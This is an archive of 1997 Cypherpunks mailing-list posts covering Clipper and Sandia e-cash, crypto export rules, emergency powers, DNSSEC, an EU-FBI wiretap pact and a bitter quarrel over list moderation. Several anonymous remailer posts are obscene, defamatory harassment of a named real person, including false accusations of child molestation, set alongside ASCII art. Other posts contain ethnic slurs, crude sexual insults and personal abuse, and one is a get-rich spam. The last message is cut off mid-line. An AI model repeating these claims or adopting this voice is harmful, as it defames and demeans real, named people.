Message-ID: <3316B0E6.3AE9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


KALLISTE@delphi.com wrote:
 
>       Just  as  the "Clipper"  proposal
> (the Escrowed Encryption Standard) is a
> system of encrypted communication  with
> a Big Brother peephole, so is Sandia e-
> cash  a  system of digital cash with  a
> Big  Brother peephole.  It was designed
> that way.
>        Why  is  Sandia  interested   in
> digital cash systems?  Well, Sandia  is
> responsible    for   all    non-nuclear
> components  of  nuclear  weapons.   The
> security  of  nuclear  weapons  depends
> partly   on   cryptology.   The   code-
> breaking   National   Security   Agency
> (NSA), for example, is responsible  for
> the   communication  security  of   the
> Minuteman missile, as well as the codes
> by  which  the President must  identify
> himself to authorize a nuclear strike.

  The main benefit of the proposed Sadia system is that it will
allow the President to do his banking while nuking the commies.
  Sound reasonable to me.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Thu, 27 Feb 1997 05:43:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Presidential decrees and emergency powers
Message-ID: <85705099728103@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


The letter/executive order from Bill Clinton which transfers control of
encryption and related items to the EAR contains a mention of:
 
  ... the national emergency described and declared in Executive Order 12924 of
  August 19, 1994, and continued on August 15, 1995, and August 14, 1996,
  necessitated by the expiration of the Export Administration Act (EAA) on
  August 20, 1994, I hereby report to the Congress that pursuant to section
  204(b) of the International Emergency Economic Powers Act, 50 U.S.C. 1703(b)
  (the "Act"), I have today exercised the authority granted by the Act to issue
  an Executive order (a copy of which is attached)...
 
Does anyone know what national emergency this refers to, and what the section
of the emergency economic powers act covers?  I seem to remember a post by
someone who had traced it back through endless levels of indirection to a
police action in Korea or something, but haven't been able to find any more
information.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 28 Feb 1997 00:29:02 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: 128_bit
In-Reply-To: <1.5.4.32.19970227205712.006fbe08@pop.pipeline.com>
Message-ID: <v03007802af3c3da59b9b@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain


>2-26-97. Newsbytes:
>
>Security Dynamics Unveils RSA SecurPC 2.0
>
> Wokingham, England, By Steve Gold. Security Dynamics has unveiled
> RSA SecurPC 2.0, the latest version of its software-based
> encryption software. The package is claimed to the first 128-bit
> encryption software to be exported from the US and its territories.

	No such luck.  This is a press report that seems a little
confused... which is say that it is, at least, a bit premature.

	SecurPC has a useful feature which allows for a self-decrypting
file to be created with its 128-bit (symmetric) RC4 cipher.  RSADSI got the
NSA to agree that this self-decrypting file could be transmitted outside
the US because the packaged implementation is restricted to merely
decrypting the file -- with a key (password) to be passed out of band: by
hand, letter, phone, etc.

	(The free trial version of SecurPC, which can be downloaded from
the RSADSI and SDTI websites, is enabled with only the limited key-length
RC4 encryption -- still the only type of crypto now allowed to be freely
exported outside the US.  The domestic product, as sold, offers full128-bit
RC4.)

	The major enhancement in the 2.0 version of SecurPC, as I recall,
is that it offers transparent, on the fly, decryption of a secured file, as
you open the relevant application on your PC.

	Suerte,
		_Vin

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KFLT" <kflt@flr.org>
Date: Fri, 28 Feb 1997 05:41:46 -0800 (PST)
To: Internet.Mail.Delivery
Subject: $7,000 in your mailbox!!!
Message-ID: <19970228133140900.AAA151@172-59-127.ipt.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Our research has shown that this may be of interest to you.
If not please accept our apology.  By not replying you will
be removed from any future mailings.

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===============================================

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Feb 1997 07:39:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Senate spams
In-Reply-To: <199702200850.IAA00713@server.test.net>
Message-ID: <Do6T3D92w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:
> Personally I think you're allowing the bad feeling generated by the
> [CENSORED] PR goofup over Dimitri's false criticisms to cloud your
> usually good judgement.

Adam, before labeling my criticisms "false", have you examined the
source code of the product in quesion to see if it's secure?

So far, the people caught making false statements are Sameer Parekh
(spit) and his lackeys Greg Broils (spit) and Sandy Sandfart (spit).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Feb 1997 07:40:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Clipper Chip Banking
In-Reply-To: <3316B0E6.3AE9@sk.sympatico.ca>
Message-ID: <Lm7T3D94w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> KALLISTE@delphi.com wrote:
>
> >       Just  as  the "Clipper"  proposal
> > (the Escrowed Encryption Standard) is a
> > system of encrypted communication  with
> > a Big Brother peephole, so is Sandia e-
> > cash  a  system of digital cash with  a
> > Big  Brother peephole.  It was designed
> > that way.
> >        Why  is  Sandia  interested   in
> > digital cash systems?  Well, Sandia  is
> > responsible    for   all    non-nuclear
> > components  of  nuclear  weapons.   The
> > security  of  nuclear  weapons  depends
> > partly   on   cryptology.   The   code-
> > breaking   National   Security   Agency
> > (NSA), for example, is responsible  for
> > the   communication  security  of   the
> > Minuteman missile, as well as the codes
> > by  which  the President must  identify
> > himself to authorize a nuclear strike.
>
>   The main benefit of the proposed Sadia system is that it will
> allow the President to do his banking while nuking the commies.
>   Sound reasonable to me.

They do a lot of crypto at Sandia, and digital cash is an important
application of crypto.

This reminds me how about 10 years ago I and one guy from Sandia labs
wrote a very nice app for converting HP soft fonts into TeX fonts.
We posted it all over the Internet with source code (the only way I
distribute my apps).  Well, a few months later I discovered that
some dandruff-covered sovok has been uploaing our app with our source
code, our comments, and the only change he made was to replace our
names by his filthy sovok name. (No, it wasn't Sameer Parekh -
Sameer is just as unethical, but he's an "Arab terrorist from
connecticut", not a sovok.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Fri, 28 Feb 1997 06:16:43 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation/censorship
In-Reply-To: <33153E98.3DCD@gte.net>
Message-ID: <3.0.1.32.19970228091602.007c54e0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:08 PM 2/27/97 -0600, Igor Chudov @ home quoted:

:Dale Thorn who had written:

[snip]
:
:> I looked at one archive the other day, and it contained 850+ messages
:> by me posted to cypherpunks between approximately 1 Sep 96 and late
:> Jan 97.  I think you'll find them very consistent, and although I
:> could be accused of harboring my own arrogance in some areas, I can
:> handle any criticism you put forth, since you (for example) don't
:> slander me gratuitously or viciously.
[snip]
:
Dale,

Nor do I, but I ask you if the above number of posts is not extreme.

I have to question the "quality" of 850 posts by _any_ list member in 5
months (by your count). By any measure that's a lot of Dale, or anybody,
to
muck through.

Just a comment to clear the airwaves a bit.

Alec
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 1 Mar 1997 03:24:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANNOUNCE: "Digital Money Online" report released 24 Feb 97
Message-ID: <v0302091faf3c99728896@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel@intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 25 Feb 1997 16:53:28 +0000
From: Rachel Willmer <rachel@intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: ANNOUNCE: "Digital Money Online" report released 24 Feb 97



	Digital Money Online

	Intertrader Ltd
	February 1997

Intertrader is pleased to announce the release of this 50 page report,
which compares several current and future digital money technologies, such
as Mondex, Cybercash and First Virtual.

Available online at
<http://www.intertrader.com/library/DigitalMoneyOnline/dmo/dmo.htm>

or you can download a PDF copy at
<http://www.intertrader.com/library/DigitalMoneyOnline/dmo/order.htm>

All comments welcome!

Regards
Rachel

P.S. This report supersedes the previous "Electronic Transaction Protocols".


--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel@intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation
                       "We develop Java Commerce Solutions"

---------- The e$ lists are brought to you by:
Intertrader Ltd - Commerce Solutions in the UK Visit  for details ...
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk
Like e$? Help pay for it!  See  Or, for e$/e$pam sponsorship, see
Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo  (Majordomo)^2:
Rachel Willmer Commermeister: Anthony Templer  Interturge: Rodney Thayer



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 28 Feb 1997 11:38:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702281822.KAA21078@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May has been beaten up numerous 
times by fellow prostitutes for driving blow 
job prices down.

       ,,,
      (. .)
  -ooO-(_)-Ooo- Timothy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Donald E. Eastlake 3rd" <dee@cybercash.com>
Date: Fri, 28 Feb 1997 07:35:49 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: DNSSEC Encryption for DNS registration and ITAR Nonsense
In-Reply-To: <3.0.1.32.19970227203009.00629a08@popd.ix.netcom.com>
Message-ID: <Pine.SUN.3.91.970228102808.908D-100000@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


Well, as I understand it, the problem with the seven bad countries is that US
law generally prohibits any trading with them at all.  You can't sell them
cryptographic software but you also can't sell them a peanut butter and jelly
sandwitch or a rubber band or anything.  The restrictions against them are
based on international policy, not the nature of the articles you want to
trade. 

Donald

On Thu, 27 Feb 1997, Bill Stewart wrote: 

> Date: Thu, 27 Feb 1997 20:30:09 -0800
> From: Bill Stewart <stewarts@ix.netcom.com>
> To: cypherpunks@toad.com
> 
> At 10:14 AM 2/12/97 -0500, "Donald E. Eastlake 3rd" <dee@cybercash.com> wrote:
> >People may want to note that yesterday (Feb 11th) the IESG approved the DNS
> >dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt
> >and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards.  The base DNS
> >security protocol was approved some time ago and is now out as RFC 2065.  
> 
> Details are on http://www.tis.com/docs/research/network/dns.html
> It's a very interesting page - pointers to the RFC
> http://ds.internic.net/rfc/rfc2065.txt ,
> and downloadable beta code from TIS implementing it.  Cool stuff.
> 
> But then there's the politial correctness part of the web page :-)
> > Trusted Information Systems, Inc. has received approval from the 
> > United States Government for export and reexport of TIS/DNSSEC software
> > from the United States of America under the provisions of the Export 
> > Administration Regulations (EAR) General Software Note (GSN) license 
> > exception for mass market software.  Under the provisions of this license, 
> > this software may be exported or reexported to all destinations except 
> > for the embargoed countries of Cuba, Iran, Iraq, Libya, North Korea, 
> > Sudan and Syria.  Any export or reexport of TIS/DNSSEC software to the
> embargoed
> > countries requires additional, specific licensing approval from the 
> > United States Government.
> 
> Yup.  Can't let those Cubans secure their DNS.....  At least the government
> did decide to permit export.
> 
> 
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 
> 

=====================================================================
Donald E. Eastlake 3rd     +1 508-287-4877(tel)     dee@cybercash.com
   318 Acton Street        +1 508-371-7148(fax)     dee@world.std.com
Carlisle, MA 01741 USA     +1 703-620-4200(main office, Reston, VA)
http://www.cybercash.com           http://www.eff.org/blueribbon.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 28 Feb 1997 11:43:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702281843.KAA28707@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] May's mother attempted to 
pro-choice the unwanted little bastard by 
fishing with a coat hanger in her giant 
cunt, but failed miserably to pull the 
rabbit and succeeded only in scraping out 
the contents of little Timmy's fetal 
cranium (not much to begin with).

   o/ Timmy C[rook] May
  <|
  / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 28 Feb 1997 11:39:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702281855.KAA02278@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] May sexually molests little children, farm animals, and 
inanimate objects.

         ___
       \/   \/
       |_O O_| Tim C[ocksucker] May
        | ^ |
       / UUU \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Thu, 27 Feb 1997 13:57:38 -0800 (PST)
To: jya@pipeline.com
Subject: Re: Presidential decrees and emergency powers
Message-ID: <85708065028816@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>We've put the full 50USC Chapter 35 -- International Emergency Economic
>Powers at:
>
>   http://jya.com/50usc35.txt  (284K)
 
Thanks.  This contains (among other things) the interesting Executive Order:
 
>Continuation of National Emergency Declared by Ex. Ord. No. 12924
>
>Notice of President of the United States, dated Aug. 15, 1995, 60 F.R. 42767,
>provided:
>
>On August 19, 1994, consistent with the authority provided me under the
>International Emergency Economic Powers Act (50 U.S.C. 1701 et seq.), I
>issued Executive Order No. 12924 [set out above]. In that order, I declared a
>national emergency with respect to the unusual and extraordinary threat to
>the national security, foreign policy, and economy of the United States in
>light of the expiration of the Export Administration Act of 1979, as amended
>(50 U.S.C. 2401 et seq.). Because the Export Administration Act has not been
>renewed by the Congress, the national emergency declared on August 19, 1994,
>must continue in effect beyond August 19, 1995. Therefore, in accordance with
>section 202(d) of the National Emergencies Act (50 U.S.C. 1622(d)), I am
>continuing the national emergency declared in Executive Order No. 12924.
 
So the fact that Congress won't continue a law is justification for declaring
an emergency which is justification for continuing it by presidential decree
instead.  Scary.
 
Unfortunately it doesn't list all the earlier, expired decrees which would show
what was originally used to start this thing off ("... the unusual and
extraordinary threat to the national security, foreign policy, and economy of
the United States in light of the British army currently marching on
Washington" perhaps?)
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 28 Feb 1997 12:12:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702281937.LAA08680@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maya's reheated, refurbished, and regurgitated cud is completely 
inappropriate for the mailing lists into which it is cross-ruminated.

      \\\
      {OQ}
       (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 28 Feb 1997 05:59:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sphere packings
Message-ID: <199702281359.OAA02415@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] May's 16Kb brain's 
single convolution is directly wired to 
his rectum for input and his T1 mouth for 
output. That's 16K bits, not bytes. Anal 
intercourse has caused extensive brain 
damage.

             __
         ___|[]| Tim C[ocksucker] May
     \__|______|
     /-(o_o_o_o)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 28 Feb 1997 12:13:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Guardian on EU-FBI Wiretap Pact
Message-ID: <1.5.4.32.19970228200633.00719d10@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to CM.

The Guardian Weekly, Volume 156, Issue 9
Week ending March 2, 1997, Page 4:

UK to join FBI phone taps

Richard Norton-Taylor and Alison Daniels

BRITAIN has secretly agreed with its European Union partners to set up
an international telecommunications tapping system in co-operation
with the FBI, it was revealed on Monday.

The agreement covers telephones and written communications -- telexes,
faxes and e-mail. To make tapping easier, telecommunications companies
will be obliged to give security and intelligence agencies the key to
codes installed in equipment sold to private customers.

Detailed plans are being drawn up by officials in a secret network of
EU committees established under the "third pillar" of the Maastricht
Treaty, covering co-operation on law and order issues.

Civil liberties groups, while agreeing that there was a need for such
an agreement to fight against serious crime, said the plans raised a
number of privacy and data protection issues and must be the subject
of a full public debate.

Britain is an enthusiastic supporter of joint action in this area,
which is conducted on an inter-governmental basis with no role for the
European Commission, the European Parliament or the European Court of
Justice. It is an area where the EU's "democratic deficit" is most
evident.

Key points of the plan are outlined in a memorandum of understanding
signed by EU states in 1995, which is still classified. It reflects
increasing concern among European intelligence agencies that modern
technology will prevent them from tapping private communications.
EU governments agreed to co-operate closely with the FBI in Washington
as they work out detailed plans.

-----

As posted yesterday, for a report on EU-FBI wiretapping:

   http://www.privacy.org/pi/activities/tapping/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 13:26:53 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Senate spams
In-Reply-To: <199702280726.BAA01160@smoke.suba.com>
Message-ID: <331769F0.1575@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> 
> >  Greg doesn't seem to realize that, without a fellow C2Nut schill to
> >censor the unlobotomotized, his horseshit will no longer go
> >unchallenged.
> 
>  Your predictable whining about C2Net and suggestions that everyone
> who disagrees with you is either working for a government and/or out to get
> you hardly qualify as challenges - they seem to rather be on the level of
> Vulis's ascii art, although the rate at which you produce them makes me
> suspect you're still generating them by hand.

  How long are you and your bum-buddies at C2Nut going to continue to
try to denigrate god-and-everybody by making out-of-context links to
Dr. Vulis? Is Senator McCarthy alive and well at C2Nut?

  Whining? Suggestions?
  I'm 'flaming' shit-for-brains, and I'm working from the fact sheets.
  Fact: Sammy's pecker-tracks are all over the attempted takeover of
the CypherPunks list.
  Fact: John Gilmore turned over control of the CypherPunks list at 
toad.com to C2Nut employee Sandy Sandfort, under the pretext of 
cutting down on mailbomb attacks.
  Fact: List subscribers were forcibly relocated to a list Censored
by C2Nut employee Sandy Sandfort.
  Fact: C2Nut employee Sandy Sandfort then proceeded to Censor the
posts to the CypherPunks list in an attempt to blunt criticism of
the takeover of the list.
  Fact: C2Nut employee Sandy Sandfort announced that his Censorship
of the CypherPunks list was not based on cryptographical content.
  Fact: Sandy Sandfort approved posts to the Censored list that insulted
those who criticized him, while deleting the posts of those who
responded
to those insults.
  Fact: C2Nut employee Sandy Sandfort deleted incoming CypherPunks 
posts directly, sending them to none of the lists, if they reflected
poorly on his employer, fellow employees, and his supporters.
  Fact: Under C2Nut employee Sandy Sandfort's list dictatorship, many
of the so-called 'Evil Dr. Vulis ASCII' spams originated directly 
from toad.com, with forged headers. Others originated from the ISP's
of C2Net employees.
  Fact: C2Nut's Sameer controls cypherpunks.com on the WWW.
  Fact: C2Nut stands to profit from having control of the CypherPunks
name.
  Fact: C2Nut's employees were, and are, working in conjunction with 
others who have major financial interests that will benefit from control 
of the CypherPunks reputation capital.
  Fact: C2Nut and their employees apply threats of legal attack, both
directly and indirectly, to those whose words conflict with the goals
of C2Nut and their web of associated interests.
  Fact: If C2Nut wants the hidden agendas of themselves and their
associates to remain hidden, then they need better firewalls in place.

> "Challenge", my butt. Better have some more Scotch.

  Better to have Scotch in my mouth than my employer's sperm. And I 
doubt whether your butt is much of a challenge. 
> --
> Greg Broiles                | US crypto export control policy in a nutshell:
> gbroiles@netbox.com         |
> http://www.io.com/~gbroiles | Export jobs, not crypto.
>                             |

-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 28 Feb 1997 14:09:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Senate Intel Report
Message-ID: <1.5.4.32.19970228220253.00713ea4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The US Senate Select Committee on Intelligence has published
a special report on its activities from January 4, 1995 
to October 3, 1996, which shows an unsuprising parallel to
Cypherpunks topics -- even a bit on crypto. We've put it at:

   http://jya.com/sr105-1.htm  (135K)

Here's the TOC:

  I. Introduction

 II. Legislation
       Intelligence Budget
       S. 922 Intelligence Authorization Act for Fiscal Year 1996
       S. 1718 Intelligence Authorization Act for Fiscal Year 1997
       Intelligence Renewal and Reform Act of 1996
       The National Imagery and Mapping Agency

III. Arms Control
       Chemical Weapons Convention
       START II Treaty

 IV. Counterintelligence
       The Aldrich Ames Espionage Case
       French Flap
       Economic Espionage
       Foreign Intelligence Surveillance Act

  V. Counterterrorism
       Terrorism Threat Overview
       Khubar Towers and OPM-SANG Bombings

 VI. Counterproliferation
       Non-Proliferation
       North Korean Weapons of Mass Destruction Programs
       Long-Range Missile Threat

VII. Oversight Activities
       National Security Threats to the United States
       Intelligence Support to U.S. Efforts in Bosnia
       Inquiry into U.S. Actions Regarding Iranian and Other
           Arms Transfers to the Bosnian Army
       Congressional Notification of Foreign Policy Decisions
       Persian Gulf Syndrome
       Zona Rosa
       Vietnamese Commandos
       CIA/Contra/Cocaine Link
       CIA Use of Journalists, Clergy, and Peace Corps
           Volunteers in Intelligence Operations
       Guatemala
       Intelligence Support to Law Enforcement
       Congressional Notifications of Intelligence Activities
       Airborne Reconnaissance
       National Reconnaissance Office Carry Forward
       Small Satellites
       Covert Action
       Encryption Export Policy
       Security of the U.S. Information Infrastructure
       Jane Doe Thompson Case
       Oversight of the Intelligence Community Inspectors
           General
       Organized Crime in the Former Soviet Union
       Program Review and Audit Staff

VIII.Foreign Intelligence
       North Korea
       Iraq
       Russia
       China
       Mexico
       Economic Espionage
       Environmental and Demographic Intelligence
       Intelligence Sharing with the United Nations

 IX. Confirmations
       DCI John M. Deutch
       DDCI George J. Tenet

  X. Committee Internal Reforms and Enhancements
       End of the Designee System
       Term Limits
       PolicyNet

Appendix
     Summary of Committee Activities
       Number of Meetings
       Bills and Resolutions Originated by the Committee
       Bills Referred to the Committee
       Committee Publications
       Memorandum of Agreement Regarding TIARA and JMIP






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kenny_austin@juno.com (Kenny A Austin)
Date: Fri, 28 Feb 1997 14:13:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: cryto
Message-ID: <19970228.160944.8287.2.Kenny_Austin@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


would you please add my
name to your mailing list...
thanks...

kenny
(kenny_austin@juno.com)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 28 Feb 1997 18:16:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GAK
Message-ID: <199703010216.SAA03674@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May was born when his mother was on the 
toilet.

       _
      {~}
     ( V-) Timmy May
     '|Y|'
     _|||_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 17:27:17 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Depends / Re: Senate spams
In-Reply-To: <3.0.1.32.19970227011400.00deefe0@mail.io.com>
Message-ID: <3317A231.193E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> 
> At 01:26 AM 2/28/97 -0600, snow wrote:
> >> At 01:41 AM 2/27/97 -0800, Toto wrote:
> >> > I didn't see a single post on CypherPunks where anyone expressed the
> >> >least problem with pure, unmitigated spam being deleted.
> > Greg Broiles wrote:
> >> My point precisely. The question is not "is it useful to eliminate some
> >> messages from the list?", but "which messages shall we eliminate?".
> >
> >       This is mis-direction, and I believe it is deliberate on Boiles
> >part.
> >
> >       The question isn't "which messages shall we eliminate"--which implies
> >that the original writer was seeking to silence _someone_,  but rather
> >given that there are [many some a-few] messages being sent to this list that
> >are sent by non-human entities (bots, auto-replies, bounces etc.) is there
> >a way to avoid propigating them.
> 
> Will you count Raph's remailer statistics as "machine generated" and
> exclude them, too?

  Only asinine, dip-shit numbskulls would be capable of making this
idiotic
extrapolation.
  Why am I not surprised it came from Greg?

> Many/most of the "spam" messages are sent to the list because someone
> (either the author, or a third party) wanted them to be sent to the list.
> The fact that one or more machines are used to carry out that person's
> wishes is irrelevant. We're not talking about the effects of alpha
> particles or honest mistakes, we're talking about a deliberate choice to
> send some content to the list.

  More DoubleSpeak transposing the issues of Spam and content.

> And we're apparently talking about other
> people choosing to override that choice to send content to the list, on the
> basis of dislike for the sender, the sender's purpose, or the content of
> the message.

  No we're not, Greg. _You_ seem to be the only one speaking of
censorship
based on personality, agendas and content. (Try to keep in mind that the
thoughts and words of others are no longer being censored by your 
associates.)

>  And, like Toto said, there's nobody left who's arguing (modulo the
> Freedom-Knights guy, whose name escapes me at the moment, who may not
> really be on the list, haven't seen anything from him in a week or so)
> against all censorship, just people arguing against censorship that they
> don't like or done by people they don't trust, but in favor of censorship
> they do like, or done by people they do trust.

  Toto is calling Greg a lying fuck who deliberately disseminates 
misinformation as to the stances taken by others. 
  Greg seem to have taken it upon himself to provide a misinterpretation
of the posts of others, even though those posts are available for people
to read for themselves, making their own judgements as to what they say.

  I have maintained from the beginning that there needs to be a
CypherPunks
list which is free from filtering in any way, shape or form.
  I have also maintained that the interests of crypto would also be
served
by the maintenance of lists which offer filtering services by those who
wish to provide them--even a CypherPunks-NoToto list.
  Anyone who read my post to Igor, suggesting that I would have no
problem
with him intercepting autobot-replies that result from mailbomb attacks,
also knows that I suggested even the empty spam-messages being deleted
should be stored where they are open to scrutiny, and that I, for one,
would indeed be scrutinizing them.

  For Greg to purport that the interception of mail-bomb attacks equates
somehow to content/personality censorship is unmitigated bullshit aimed
at the dim-witted (of which I believe there are very few of on any of
the CypherPunks lists).
  If Greg would like to put forth a logical train of thought which
compares
the interception of empty auto-bot messages generated in response to the
forged posts of a mailbomb attack with Sandy's fascist censorship
methods
(which Greg eloquently described, but misdirected their source), then I
would like to see it.

> I don't see anything morally wrong with deliberately altering the flow of
> messages to and through the list, but I think it's bad form to pretend not
> to be doing that.

  Who is doing this, Greg? Name names. Give us an example of who is
doing
this and pretending not to do it. Why are your claims so vague? 
 
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Feb 1997 17:40:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <857149286.1021360.0@fatmans.demon.co.uk>
Message-ID: <763u3D98w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

>
> > >   No, you 'all' have it wrong.
> > >   The censorship experiment was actually the result of the tremendous
> > > amount of envy on the list over my having a 16" dick.
> >
> > So when a super babe says she wants a man with a 12" dick, do you
> > have to go cut off 4 inches?  Me being only 11", I just have to give
> > her up.
>
> I always said this list would degenerate into a penis size
> competition ;-)

ITAR-relevant urban legend: once the Soviet government order 10K dozen 8"
condoms in the U.S. and the Nixon administration made sure that each one was
stamped "medium".

> Paul (18") Bradley

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 17:50:45 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <763u3D98w165w@bwalk.dm.com>
Message-ID: <3317A7EB.1B8B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> ITAR-relevant urban legend: once the Soviet government order 10K dozen 8"
